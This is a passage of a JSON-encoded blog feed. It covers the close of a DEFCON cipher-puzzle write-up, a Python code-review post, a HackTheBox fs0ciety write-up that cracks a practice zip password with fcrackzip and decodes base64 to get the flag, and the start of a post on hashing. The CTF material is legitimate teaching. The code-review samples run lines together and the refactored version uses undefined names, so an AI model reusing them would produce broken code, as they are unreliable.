class=\"k\">while<\/span> <span class=\"kc\">True<\/span><span class=\"p\">:<\/span>\n <span class=\"n\">res<\/span> <span class=\"o\">+=<\/span> <span class=\"n\">ciphertext<\/span><span class=\"p\">[<\/span><span class=\"n\">i<\/span> <span class=\"o\">%<\/span> <span class=\"nb\">len<\/span><span class=\"p\">(<\/span><span class=\"n\">ciphertext<\/span><span class=\"p\">)]<\/span>\n <span class=\"k\">if<\/span> <span class=\"nb\">len<\/span><span class=\"p\">(<\/span><span class=\"n\">res<\/span><span class=\"p\">)<\/span> <span class=\"o\">==<\/span> <span class=\"nb\">len<\/span><span class=\"p\">(<\/span><span class=\"n\">ciphertext<\/span><span class=\"p\">):<\/span>\n <span class=\"k\">break<\/span>\n <span class=\"n\">i<\/span> <span class=\"o\">+=<\/span> <span class=\"mi\">3<\/span>\n\n<span class=\"nb\">print<\/span><span class=\"p\">(<\/span><span class=\"n\">res<\/span><span class=\"p\">)<\/span>\n<\/code><\/pre><\/div>\n\n<p>It\u2019s not the prettiest, but gets the job done. The decoded ciphertext:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"n\">the<\/span><span class=\"w\"> <\/span><span class=\"n\">bluebirds<\/span><span class=\"w\"> <\/span><span class=\"k\">are<\/span><span class=\"w\"> <\/span><span class=\"n\">a<\/span><span class=\"w\"> <\/span><span class=\"k\">group<\/span><span class=\"w\"> <\/span><span class=\"k\">of<\/span><span class=\"w\"> <\/span><span class=\"n\">medium<\/span><span class=\"o\">-<\/span><span class=\"n\">sized<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"n\">mostly<\/span><span class=\"w\"> <\/span><span class=\"n\">insectivorous<\/span><span class=\"w\"> <\/span><span class=\"ow\">or<\/span><span class=\"w\"> <\/span><span class=\"n\">omnivorous<\/span><span class=\"w\"> <\/span><span class=\"n\">birds<\/span><span class=\"w\"> <\/span><span class=\"ow\">in<\/span><span class=\"w\"> <\/span><span class=\"n\">the<\/span><span class=\"w\"> <\/span><span class=\"k\">order<\/span><span class=\"w\"> <\/span><span class=\"k\">of<\/span><span class=\"w\"> <\/span><span class=\"n\">Passerines<\/span><span class=\"w\"> <\/span><span class=\"ow\">in<\/span><span class=\"w\"> <\/span><span class=\"n\">the<\/span><span class=\"w\"> <\/span><span class=\"n\">genus<\/span><span class=\"w\"> <\/span><span class=\"n\">Sialia<\/span><span class=\"w\"> <\/span><span class=\"k\">of<\/span><span class=\"w\"> <\/span><span class=\"n\">the<\/span><span class=\"w\"> <\/span><span class=\"n\">thrush<\/span><span class=\"w\"> <\/span><span class=\"n\">family<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"n\">Turdidae<\/span><span class=\"p\">).<\/span><span class=\"w\"> <\/span><span class=\"n\">Bluebirds<\/span><span class=\"w\"> <\/span><span class=\"k\">are<\/span><span class=\"w\"> <\/span><span class=\"n\">one<\/span><span class=\"w\"> <\/span><span class=\"k\">of<\/span><span class=\"w\"> <\/span><span class=\"n\">the<\/span><span class=\"w\"> <\/span><span class=\"n\">few<\/span><span class=\"w\"> <\/span><span class=\"n\">thrush<\/span><span class=\"w\"> <\/span><span class=\"n\">genera<\/span><span class=\"w\"> <\/span><span class=\"ow\">in<\/span><span class=\"w\"> <\/span><span class=\"n\">the<\/span><span class=\"w\"> <\/span><span class=\"n\">Americas<\/span><span class=\"p\">.<\/span><span class=\"w\"> <\/span><span class=\"n\">They<\/span><span class=\"w\"> <\/span><span class=\"n\">have<\/span><span class=\"w\"> <\/span><span class=\"n\">blue<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"ow\">or<\/span><span class=\"w\"> <\/span><span class=\"n\">blue<\/span>\n<span class=\"n\">Congratulations<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"n\">you<\/span><span class=\"err\">\u2019<\/span><span class=\"n\">ve<\/span><span class=\"w\"> <\/span><span class=\"n\">proven<\/span><span class=\"w\"> <\/span><span class=\"n\">yourself<\/span><span class=\"w\"> <\/span><span class=\"n\">a<\/span><span class=\"w\"> <\/span><span class=\"n\">worthy<\/span><span class=\"w\"> <\/span><span class=\"n\">challenger<\/span><span class=\"w\"> <\/span><span class=\"ow\">and<\/span><span class=\"w\"> <\/span><span class=\"n\">solved<\/span><span class=\"w\"> <\/span><span class=\"n\">the<\/span><span class=\"w\"> <\/span><span class=\"n\">fifth<\/span><span class=\"w\"> <\/span><span class=\"nf\">round<\/span><span class=\"err\">!<\/span>\n<span class=\"n\">Your<\/span><span class=\"w\"> <\/span><span class=\"n\">final<\/span><span class=\"w\"> <\/span><span class=\"n\">clue<\/span><span class=\"w\"> <\/span><span class=\"k\">is<\/span><span class=\"err\">:<\/span><span class=\"w\"> <\/span><span class=\"ss\">&quot;blue birds&quot;<\/span>\n<span class=\"n\">Now<\/span><span class=\"w\"> <\/span><span class=\"k\">go<\/span><span class=\"w\"> <\/span><span class=\"k\">to<\/span><span class=\"w\"> <\/span><span class=\"n\">the<\/span><span class=\"w\"> <\/span><span class=\"n\">Walkthrough<\/span><span class=\"w\"> <\/span><span class=\"n\">Workshops<\/span><span class=\"w\"> <\/span><span class=\"n\">staff<\/span><span class=\"w\"> <\/span><span class=\"nc\">table<\/span><span class=\"w\"> <\/span><span class=\"ow\">in<\/span><span class=\"w\"> <\/span><span class=\"n\">the<\/span><span class=\"w\"> <\/span><span class=\"n\">packet<\/span><span class=\"w\"> <\/span><span class=\"n\">hacking<\/span><span class=\"w\"> <\/span><span class=\"n\">village<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"k\">if<\/span><span class=\"w\"> <\/span><span class=\"n\">you<\/span><span class=\"err\">\u2019<\/span><span class=\"n\">re<\/span><span class=\"w\"> <\/span><span class=\"ow\">not<\/span><span class=\"w\"> <\/span><span class=\"n\">there<\/span><span class=\"w\"> <\/span><span class=\"n\">already<\/span><span class=\"p\">)<\/span><span class=\"w\"> <\/span><span class=\"ow\">and<\/span><span class=\"w\"> <\/span><span class=\"n\">name<\/span><span class=\"w\"> <\/span><span class=\"n\">that<\/span><span class=\"w\"> <\/span><span class=\"n\">song<\/span><span class=\"err\">!<\/span><span class=\"n\">lullaby<\/span><span class=\"w\"> <\/span><span class=\"n\">star<\/span><span class=\"w\"> <\/span><span class=\"n\">lemon<\/span><span class=\"w\"> <\/span><span class=\"n\">drops<\/span><span class=\"w\"> <\/span><span class=\"n\">chimney<\/span><span class=\"w\"> <\/span><span class=\"n\">tops<\/span><span class=\"w\"> <\/span><span class=\"n\">blue<\/span><span class=\"w\"> <\/span><span class=\"n\">birds<\/span><span class=\"w\"> <\/span><span class=\"n\">lullaby<\/span><span class=\"w\"> <\/span><span class=\"n\">star<\/span><span class=\"w\"> <\/span><span class=\"n\">lemon<\/span><span class=\"w\"> <\/span><span class=\"n\">drops<\/span><span class=\"w\"> <\/span><span class=\"n\">chimney<\/span><span class=\"w\"> <\/span><span class=\"n\">tops<\/span><span class=\"w\"> <\/span><span class=\"n\">blue<\/span><span class=\"w\"> <\/span><span class=\"n\">birds<\/span><span class=\"w\"> <\/span><span class=\"n\">lullaby<\/span><span class=\"w\"> <\/span><span class=\"n\">star<\/span><span class=\"w\"> <\/span><span class=\"n\">lemon<\/span><span class=\"w\"> <\/span><span class=\"n\">drops<\/span><span class=\"w\"> <\/span><span class=\"n\">chimney<\/span><span class=\"w\"> <\/span><span class=\"n\">tops<\/span><span class=\"w\"> <\/span><span class=\"n\">blue<\/span><span class=\"w\"> <\/span><span class=\"n\">birds<\/span><span class=\"w\"> <\/span><span class=\"n\">lullaby<\/span><span class=\"w\"> <\/span><span class=\"n\">star<\/span><span class=\"w\"> <\/span><span class=\"n\">lemon<\/span><span class=\"w\"> <\/span><span class=\"n\">drops<\/span><span class=\"w\"> <\/span><span class=\"n\">chimney<\/span><span class=\"w\"> <\/span><span class=\"n\">tops<\/span><span class=\"w\"> <\/span><span class=\"n\">blue<\/span><span class=\"w\"> <\/span><span class=\"n\">birds<\/span><span class=\"w\"> <\/span><span class=\"n\">lullaby<\/span><span class=\"w\"> <\/span><span class=\"n\">star<\/span><span class=\"w\"> <\/span><span class=\"n\">lemon<\/span><span class=\"w\"> <\/span><span class=\"n\">drops<\/span><span class=\"w\"> <\/span><span class=\"n\">chimney<\/span><span class=\"w\"> <\/span><span class=\"n\">tops<\/span><span class=\"w\"> <\/span><span class=\"n\">blue<\/span><span class=\"w\"> <\/span><span class=\"n\">birds<\/span><span class=\"w\"> <\/span><span class=\"n\">lul<\/span>\n<\/code><\/pre><\/div>\n\n<p>The song we\u2019re searching for here is of course the timeless classic \"Over the Rainbow\" by Judy Garland. Now it becomes\napparent that the previous passwords all were related to that song as well. Nice work!<\/p>\n<h3>In a\u00a0Nutshell<\/h3>\n<p>People who have already done some simpler CTFs wouldn\u2019t be stunned by these challenges. However, the breadth of the possible audience is what makes these challenges so nice. Anyone could crack these challenges by using their brain and Google for the basic cryptographic challenges. Personally, each server gave me a nice brainteaser to keep my mind busy with while I was exploring DEFCON, meeting awesome people, and hacking with colleagues.A lot of thanks goes to <a href=\"https:\/\/medium.com\/u\/bebb98d5c168\">Ryan Mitchell<\/a> for coming up with the cool challenges and exchanging new ideas after the contest. Keep up the great work!<\/p>","category":{"@attributes":{"term":"Challenges"}}},{"title":"A Code Review Story","link":{"@attributes":{"href":"https:\/\/spoons.fyi\/2019\/07\/28\/a-code-review-story.html","rel":"alternate"}},"published":"2019-07-28T00:00:00+02:00","updated":"2019-07-28T00:00:00+02:00","author":{"name":{}},"id":"tag:spoons.fyi,2019-07-28:\/2019\/07\/28\/a-code-review-story.html","summary":"<p>This is the first post of a sporadic series where we will dive into the weeds of more complex Python code review samples. I will take (slightly modified) real-world code samples, explain some common mistakes that have been made, and how we can improve things. Let\u2019s jump right in \u2026<\/p>","content":"<p>This is the first post of a sporadic series where we will dive into the weeds of more complex Python code review samples. I will take (slightly modified) real-world code samples, explain some common mistakes that have been made, and how we can improve things. Let\u2019s jump right in!<\/p>\n<p>In this scenario, we have a component that is supposed to handle artifacts containing log messages. It is structured as an object implementing a pipeline of various sanitization and postprocessing tasks. Among a ton of other things, there is the <code>groom_logs<\/code> method, which is static, and fulfills the task of validating and deduplicating the log list of a given artifact.<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"k\">class<\/span> <span class=\"nc\">MyLogHandler<\/span><span class=\"p\">:<\/span>\n    <span class=\"o\">...<\/span>\n    <span class=\"nd\">@staticmethod<\/span>\n    <span class=\"k\">def<\/span> <span class=\"nf\">groom_logs<\/span><span class=\"p\">(<\/span><span class=\"n\">my_artifact<\/span><span class=\"p\">):<\/span>\n        <span class=\"n\">log_list<\/span> <span class=\"o\">=<\/span> <span class=\"n\">my_artifact<\/span><span class=\"o\">.<\/span><span class=\"n\">get<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;logs&quot;<\/span><span class=\"p\">)<\/span>\n        <span class=\"k\">if<\/span> <span class=\"n\">log_list<\/span> <span class=\"ow\">is<\/span> <span class=\"kc\">None<\/span><span class=\"p\">:<\/span>\n            <span class=\"k\">return<\/span>\n\n        <span class=\"k\">def<\/span> <span class=\"nf\">is_valid<\/span><span class=\"p\">(<\/span><span class=\"n\">log_entry<\/span><span class=\"p\">):<\/span>\n            <span class=\"k\">if<\/span> <span class=\"n\">log_entry<\/span><span class=\"o\">.<\/span><span class=\"n\">get<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;level&quot;<\/span><span class=\"p\">)<\/span> <span class=\"ow\">not<\/span> <span class=\"ow\">in<\/span> <span class=\"p\">(<\/span><span class=\"s2\">&quot;info&quot;<\/span><span class=\"p\">,<\/span> <span class=\"s2\">&quot;warning&quot;<\/span><span class=\"p\">,<\/span> <span class=\"s2\">&quot;error&quot;<\/span><span class=\"p\">):<\/span>\n                <span class=\"k\">return<\/span> <span class=\"kc\">False<\/span>\n            <span class=\"k\">if<\/span> <span class=\"s2\">&quot;message&quot;<\/span> <span class=\"ow\">not<\/span> <span class=\"ow\">in<\/span> <span class=\"n\">log_entry<\/span><span class=\"o\">.<\/span><span class=\"n\">keys<\/span><span class=\"p\">():<\/span>\n                <span class=\"k\">return<\/span> <span class=\"kc\">False<\/span>\n            <span class=\"k\">return<\/span> <span class=\"kc\">True<\/span>\n\n        <span class=\"k\">def<\/span> <span class=\"nf\">remove_duplicates<\/span><span class=\"p\">(<\/span><span class=\"n\">log_list<\/span><span class=\"p\">:<\/span> <span class=\"n\">List<\/span><span class=\"p\">[<\/span><span class=\"n\">Dict<\/span><span class=\"p\">[<\/span><span class=\"n\">Any<\/span><span class=\"p\">,<\/span> <span class=\"n\">Any<\/span><span class=\"p\">]]):<\/span>\n            <span class=\"c1\"># taken from https:\/\/stackoverflow.com\/questions\/9427163\/remove-duplicate-dict-in-list-in-python<\/span>\n            <span class=\"n\">seen<\/span> <span class=\"o\">=<\/span> <span class=\"nb\">set<\/span><span class=\"p\">()<\/span>\n            <span class=\"n\">new_l<\/span> <span class=\"o\">=<\/span> <span class=\"p\">[]<\/span>\n            <span class=\"k\">for<\/span> <span class=\"n\">d<\/span> <span class=\"ow\">in<\/span> <span class=\"n\">log_list<\/span><span class=\"p\">:<\/span>\n                <span class=\"n\">t<\/span> <span class=\"o\">=<\/span> <span class=\"nb\">tuple<\/span><span class=\"p\">(<\/span><span class=\"n\">d<\/span><span class=\"o\">.<\/span><span class=\"n\">items<\/span><span class=\"p\">())<\/span>\n                <span class=\"k\">if<\/span> <span class=\"n\">t<\/span> <span class=\"ow\">not<\/span> <span class=\"ow\">in<\/span> <span class=\"n\">seen<\/span><span class=\"p\">:<\/span>\n                    <span class=\"n\">seen<\/span><span class=\"o\">.<\/span><span class=\"n\">add<\/span><span class=\"p\">(<\/span><span class=\"n\">t<\/span><span class=\"p\">)<\/span>\n                    <span class=\"n\">new_l<\/span><span class=\"o\">.<\/span><span class=\"n\">append<\/span><span class=\"p\">(<\/span><span class=\"n\">d<\/span><span class=\"p\">)<\/span>\n\n            <span class=\"k\">return<\/span> <span class=\"n\">new_l<\/span>\n\n        <span class=\"n\">logs<\/span> <span class=\"o\">=<\/span> <span class=\"n\">remove_duplicates<\/span><span class=\"p\">(<\/span><span class=\"n\">logs<\/span><span class=\"p\">)<\/span>\n        <span class=\"n\">logs<\/span> <span class=\"o\">=<\/span> <span class=\"p\">[<\/span><span class=\"n\">entry<\/span> <span class=\"k\">for<\/span> <span class=\"n\">entry<\/span> <span class=\"ow\">in<\/span> <span class=\"n\">logs<\/span> <span class=\"k\">if<\/span> <span class=\"n\">is_valid<\/span><span class=\"p\">(<\/span><span class=\"n\">entry<\/span><span class=\"p\">)]<\/span>\n        <span class=\"k\">return<\/span> <span class=\"n\">logs<\/span>\n<\/code><\/pre><\/div>\n\n<h3>A few good things\u00a0first<\/h3>\n<p>The encapsulation for log message sanitization was nice in the overall program's context. The methods were separated nicely, code from external resources was marked and things worked all in all. Let's not forget to tailor some nice things into the review text. That keeps up morale and maintains a constructive atmosphere where good engineering is not taken for granted and possibly overlooked!<\/p>\n<h3>Nested function definitions<\/h3>\n<p>The functions <code>is_valid<\/code> and <code>remove_duplicates<\/code> exist inside the <code>groom_logs<\/code> method. It is clear that the developer noticed, that these definitions are only needed inside the method, so it was a natural decision to include them in exactly that scope. The advantage is, that this avoids cluttering the overall namespace. This decision sacrifices two other properties however: Readability and testability.<\/p>\n<p><em>Reading<\/em> the method code for the first time, you start out in line 5. We get the data, we check for emptiness, so far so good. In line 9 we have to switch the context to a helper method, validating the message dictionary itself. Continuing to line 16, we switch context to how duplicate dictionaries are removed from a list (while preserving the order). In line 28, we finally are back to our main log grooming method, where we make use of the previously defined functions.<\/p>\n<p><em>Testing<\/em> the method code can be easy in integration tests. However, how would we unit test <code>is_valid<\/code> or <code>remove_duplicates<\/code>\u00a0? There is no easy way to reach these functions, so testing them as smallest possible units is not feasible. We\u2019re bound to testing the overall log grooming method, which is rather complex. This increases the chance of us missing an edge case in our test scenarios and not finding a bug.<\/p>\n<p>An easy fix here is to simply pull the functions out of the class. This has the advantage that the overall <code>MyLogHandler<\/code> object only contains methods that are relevant to its main business logic. Otherwise, with many static method definitions inside, it might be hard to distinguish between helper methods and actual processing entry points. If the number of module-level helper functions becomes too large, there might be an opportunity to create a helper submodule. This was out of scope here, however, so here is version two:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"k\">def<\/span> <span class=\"nf\">is_valid_log_entry<\/span><span class=\"p\">(<\/span><span class=\"n\">log_entry<\/span><span class=\"p\">):<\/span>\n    <span class=\"k\">if<\/span> <span class=\"n\">log_entry<\/span><span class=\"o\">.<\/span><span class=\"n\">get<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;level&quot;<\/span><span class=\"p\">)<\/span> <span class=\"ow\">not<\/span> <span class=\"ow\">in<\/span> <span class=\"p\">(<\/span><span class=\"s2\">&quot;info&quot;<\/span><span class=\"p\">,<\/span> <span class=\"s2\">&quot;warning&quot;<\/span><span class=\"p\">,<\/span> <span class=\"s2\">&quot;error&quot;<\/span><span class=\"p\">):<\/span>\n        <span class=\"k\">return<\/span> <span class=\"kc\">False<\/span>\n    <span class=\"k\">if<\/span> <span class=\"s2\">&quot;message&quot;<\/span> <span class=\"ow\">not<\/span> <span class=\"ow\">in<\/span> <span class=\"n\">log_entry<\/span><span class=\"o\">.<\/span><span class=\"n\">keys<\/span><span class=\"p\">():<\/span>\n        <span class=\"k\">return<\/span> <span class=\"kc\">False<\/span>\n    <span class=\"k\">return<\/span> <span class=\"n\">Truedef<\/span> <span class=\"n\">remove_duplicate_logs<\/span><span class=\"p\">(<\/span><span class=\"n\">log_list<\/span><span class=\"p\">:<\/span> <span class=\"n\">List<\/span><span class=\"p\">[<\/span><span class=\"n\">Dict<\/span><span class=\"p\">[<\/span><span class=\"n\">Any<\/span><span class=\"p\">,<\/span> <span class=\"n\">Any<\/span><span class=\"p\">]]):<\/span>\n    <span class=\"c1\"># taken from https:\/\/stackoverflow.com\/questions\/9427163\/remove-duplicate-dict-in-list-in-python<\/span>\n    <span class=\"n\">seen<\/span> <span class=\"o\">=<\/span> <span class=\"nb\">set<\/span><span class=\"p\">()<\/span>\n    <span class=\"n\">new_l<\/span> <span class=\"o\">=<\/span> <span class=\"p\">[]<\/span>\n    <span class=\"k\">for<\/span> <span class=\"n\">d<\/span> <span class=\"ow\">in<\/span> <span class=\"n\">log_list<\/span><span class=\"p\">:<\/span>\n        <span class=\"n\">t<\/span> <span class=\"o\">=<\/span> <span class=\"nb\">tuple<\/span><span class=\"p\">(<\/span><span class=\"n\">d<\/span><span class=\"o\">.<\/span><span class=\"n\">items<\/span><span class=\"p\">())<\/span>\n        <span class=\"k\">if<\/span> <span class=\"n\">t<\/span> <span class=\"ow\">not<\/span> <span class=\"ow\">in<\/span> <span class=\"n\">seen<\/span><span class=\"p\">:<\/span>\n            <span class=\"n\">seen<\/span><span class=\"o\">.<\/span><span class=\"n\">add<\/span><span class=\"p\">(<\/span><span class=\"n\">t<\/span><span class=\"p\">)<\/span>\n            <span class=\"n\">new_l<\/span><span class=\"o\">.<\/span><span class=\"n\">append<\/span><span class=\"p\">(<\/span><span class=\"n\">d<\/span><span class=\"p\">)<\/span>\n\n    <span class=\"k\">return<\/span> <span class=\"n\">new_lclass<\/span> <span class=\"n\">MyLogHandler<\/span><span class=\"p\">:<\/span>\n    <span class=\"nd\">@staticmethod<\/span>\n    <span class=\"k\">def<\/span> <span class=\"nf\">groom_logs<\/span><span class=\"p\">(<\/span><span class=\"n\">my_artifact<\/span><span class=\"p\">):<\/span>\n        <span class=\"n\">log_list<\/span> <span class=\"o\">=<\/span> <span class=\"n\">my_artifact<\/span><span class=\"o\">.<\/span><span class=\"n\">get<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;logs&quot;<\/span><span class=\"p\">)<\/span>\n        <span class=\"k\">if<\/span> <span class=\"n\">log_list<\/span> <span class=\"ow\">is<\/span> <span class=\"kc\">None<\/span><span class=\"p\">:<\/span>\n            <span class=\"k\">return<\/span>\n\n        <span class=\"n\">logs<\/span> <span class=\"o\">=<\/span> <span class=\"n\">remove_duplicates<\/span><span class=\"p\">(<\/span><span class=\"n\">logs<\/span><span class=\"p\">)<\/span>\n        <span class=\"n\">logs<\/span> <span class=\"o\">=<\/span> <span class=\"p\">[<\/span><span class=\"n\">entry<\/span> <span class=\"k\">for<\/span> <span class=\"n\">entry<\/span> <span class=\"ow\">in<\/span> <span class=\"n\">logs<\/span> <span class=\"k\">if<\/span> <span class=\"n\">is_valid<\/span><span class=\"p\">(<\/span><span class=\"n\">entry<\/span><span class=\"p\">)]<\/span>\n        <span class=\"k\">return<\/span> <span class=\"n\">logs<\/span>\n<\/code><\/pre><\/div>\n\n<h3>The minor\u00a0things<\/h3>\n<p>Now for the nitpicking. It\u2019s the timeless classics that never get old in code reviews (and regularly are committed by myself as well):<\/p>\n<ol>\n<li>Inconsistent type hints<\/li>\n<li>Missing docstrings<\/li>\n<li>The validation function can be made more concise<\/li>\n<\/ol>\n<p>These don\u2019t require a lot of explanation, so I\u2019ll leave you just with the slightly nicer validation function:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"k\">def<\/span> <span class=\"nf\">is_valid_log_entry<\/span><span class=\"p\">(<\/span><span class=\"n\">entry<\/span><span class=\"p\">):<\/span>\n    <span class=\"n\">level_valid<\/span> <span class=\"o\">=<\/span> <span class=\"n\">entry<\/span><span class=\"o\">.<\/span><span class=\"n\">get<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;level&quot;<\/span><span class=\"p\">)<\/span> <span class=\"ow\">in<\/span> <span class=\"p\">(<\/span><span class=\"s2\">&quot;info&quot;<\/span><span class=\"p\">,<\/span> <span class=\"s2\">&quot;warning&quot;<\/span><span class=\"p\">,<\/span> <span class=\"s2\">&quot;error&quot;<\/span><span class=\"p\">)<\/span>\n    <span class=\"n\">message_valid<\/span> <span class=\"o\">=<\/span> <span class=\"nb\">type<\/span><span class=\"p\">(<\/span><span class=\"n\">entry<\/span><span class=\"o\">.<\/span><span class=\"n\">get<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;message&quot;<\/span><span class=\"p\">))<\/span> <span class=\"o\">==<\/span> <span class=\"nb\">str<\/span>\n    <span class=\"k\">return<\/span> <span class=\"nb\">all<\/span><span class=\"p\">((<\/span><span class=\"n\">level_valid<\/span><span class=\"p\">,<\/span> <span class=\"n\">message_valid<\/span><span class=\"p\">))<\/span>\n<\/code><\/pre><\/div>\n\n<p>This has the advantage that it\u2019s easier to add new conditions. And we actually fixed a bug, because the type of <code>message<\/code> was not checked before. Yay!<\/p>","category":{"@attributes":{"term":"Software"}}},{"title":"HackTheBox fs0sciety","link":{"@attributes":{"href":"https:\/\/spoons.fyi\/2018\/10\/20\/hackthebox-fs0sciety.html","rel":"alternate"}},"published":"2018-10-20T00:00:00+02:00","updated":"2018-10-20T00:00:00+02:00","author":{"name":{}},"id":"tag:spoons.fyi,2018-10-20:\/2018\/10\/20\/hackthebox-fs0sciety.html","summary":"<p>fs0ciety is yet another low-hanging fruit among the HackTheBox challenges. It's great for beginners who want to test their process for cracking password-protected zip files and recognition of various encodings.For that, we will use <code>fcrackzip<\/code>- simply for the reason that it has been around for ages and ships with \u2026<\/p>","content":"<p>fs0ciety is yet another low-hanging fruit among the HackTheBox challenges. It's great for beginners who want to test their process for cracking password-protected zip files and recognition of various encodings.For that, we will use <code>fcrackzip<\/code>- simply for the reason that it has been around for ages and ships with Kali by default. I have sourced my wordlist from <a href=\"https:\/\/github.com\/berzerk0\/Probable-Wordlists\">here<\/a>. Let's fire up the program:<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-0\">\n    <a href=\"\/blog\/hackthebox-fs0sciety-write-up\/35226399.png\" data-pswp-width=\"625\" data-pswp-height=\"75\" target=\"_blank\">\n        <img src=\"\/blog\/hackthebox-fs0sciety-write-up\/35226399.png\" alt=\"Image\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>\n<p>Unzipping the file with the password <code>justdoit<\/code>: <code>unzip -P justdoit fsociety.zip<\/code>; We find an interesting file containing credentials:<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-1\">\n    <a href=\"\/blog\/hackthebox-fs0sciety-write-up\/1448780629.png\" data-pswp-width=\"957\" data-pswp-height=\"165\" target=\"_blank\">\n        <img src=\"\/blog\/hackthebox-fs0sciety-write-up\/1448780629.png\" alt=\"Image\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>\n<p>The equals sign at the end is a classic indicator for base64 encoding, so we attempt to decode the text that way:<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-2\">\n    <a href=\"\/blog\/hackthebox-fs0sciety-write-up\/756388261.png\" data-pswp-width=\"960\" data-pswp-height=\"161\" target=\"_blank\">\n        <img src=\"\/blog\/hackthebox-fs0sciety-write-up\/756388261.png\" alt=\"Image\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>\n<p>.. which leaves us with something that looks like binary-encoded ASCII characters. Decoding that online gives us the flag:<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-3\">\n    <a href=\"\/blog\/hackthebox-fs0sciety-write-up\/716221509.png\" data-pswp-width=\"758\" data-pswp-height=\"126\" target=\"_blank\">\n        <img src=\"\/blog\/hackthebox-fs0sciety-write-up\/716221509.png\" alt=\"Image\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>","category":{"@attributes":{"term":"Challenges"}}},{"title":"Explain like I'm five: Cryptographic Hashing","link":{"@attributes":{"href":"https:\/\/spoons.fyi\/2018\/10\/15\/explain-like-im-five-cryptographic-hashing.html","rel":"alternate"}},"published":"2018-10-15T00:00:00+02:00","updated":"2018-10-15T00:00:00+02:00","author":{"name":{}},"id":"tag:spoons.fyi,2018-10-15:\/2018\/10\/15\/explain-like-im-five-cryptographic-hashing.html","summary":"<p><strong>tl;dr<\/strong> Just check out the image and read the details below it if you want to know even more.\u00a0:)<\/p>\n<p>A few days back I read an <a href=\"https:\/\/medium.com\/@yunyun_chen\/guide-hashing-c04a049fac58\">article by Yunyun Chen<\/a> explaining Hashing in an infographic. I enjoyed it and read some comments, which pointed out a couple of weak \u2026<\/p>","content":"<p><strong>tl;dr<\/strong> Just check out the image and read the details below it if you want to know even more.\u00a0:)<\/p>\n<p>A few days back I read an <a href=\"https:\/\/medium.com\/@yunyun_chen\/guide-hashing-c04a049fac58\">article by Yunyun Chen<\/a> explaining Hashing in an infographic. I enjoyed it and read some comments, which pointed out a couple of weak spots that result from common misconceptions about (cryptographic) hashing.<\/p>\n<p>Mostly this is a result of the distinction between the <em>concept of a cryptographic hash function<\/em> (its formal, mathematical properties) and <em>implementations of that concept<\/em> (concrete algorithms such as SHA-256). As the blockchain community attracts people from all kinds of backgrounds, it\u2019s important to clarify these former and educate people about the basic cryptographic concepts blockchain technology is based on. Only when a community around a technology is educated about how it works it can make meaningful progress and ultimately create innovation.<\/p>\n<p>That said, here is my take on a fresh infographic about hashing, meant for people without much prior knowledge:<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-0\">\n    <a href=\"\/blog\/explain-like-im-five-cryptographic-hashing\/13zwb45dnfo_7otkjokin_w.png\" data-pswp-width=\"1000\" data-pswp-height=\"1000\" target=\"_blank\">\n        <img src=\"\/blog\/explain-like-im-five-cryptographic-hashing\/13zwb45dnfo_7otkjokin_w.png\" alt=\"Image\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>\n<p>While the list of properties is by no means exhaustive, it should give a decent impression of the basic properties a conceptual hash function has. If you want to know a little more, here are some explanations that dive a little deeper (and further away from smoothies and fruit):<\/p>\n<h4>Determinism<\/h4>\n<p>This is one of the most straightforward properties. Throwing a strawberry into a mixer will always result in a strawberry smoothie. With only strawberries, you won\u2019t be able to make a peach smoothie. Similarly, for a certain value you throw into a hash function, you will always get the same hash value.<\/p>\n<p>It is important to note here that this relates to <em>reuse<\/em> of the hash function. Concrete implementations use a (pseudo-)random value for initialization (\"seed\"), which can vary each time the hashing function is instantiated. A simple example is Python\u2019s hashing function. It is seeded every time you start a Python process.<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"n\">In<\/span> <span class=\"p\">[<\/span><span class=\"mi\">1<\/span><span class=\"p\">]:<\/span> <span class=\"nb\">hash<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;foo&quot;<\/span><span class=\"p\">)<\/span>\n<span class=\"n\">Out<\/span><span class=\"p\">[<\/span><span class=\"mi\">1<\/span><span class=\"p\">]:<\/span> <span class=\"o\">-<\/span><span class=\"mi\">6427459509433145349<\/span>\n<span class=\"n\">In<\/span> <span class=\"p\">[<\/span><span class=\"mi\">2<\/span><span class=\"p\">]:<\/span> <span class=\"nb\">hash<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;foo&quot;<\/span><span class=\"p\">)<\/span>\n<span class=\"n\">Out<\/span><span class=\"p\">[<\/span><span class=\"mi\">2<\/span><span class=\"p\">]:<\/span> <span class=\"o\">-<\/span><span class=\"mi\">6427459509433145349<\/span>\n\n <span class=\"o\">&lt;<\/span><span class=\"n\">restart<\/span> <span class=\"n\">Python<\/span> <span class=\"n\">process<\/span><span class=\"o\">...&gt;<\/span>\n\n<span class=\"n\">In<\/span> <span class=\"p\">[<\/span><span class=\"mi\">1<\/span><span class=\"p\">]:<\/span> <span class=\"nb\">hash<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;foo&quot;<\/span><span class=\"p\">)<\/span>\n<span class=\"n\">Out<\/span><span 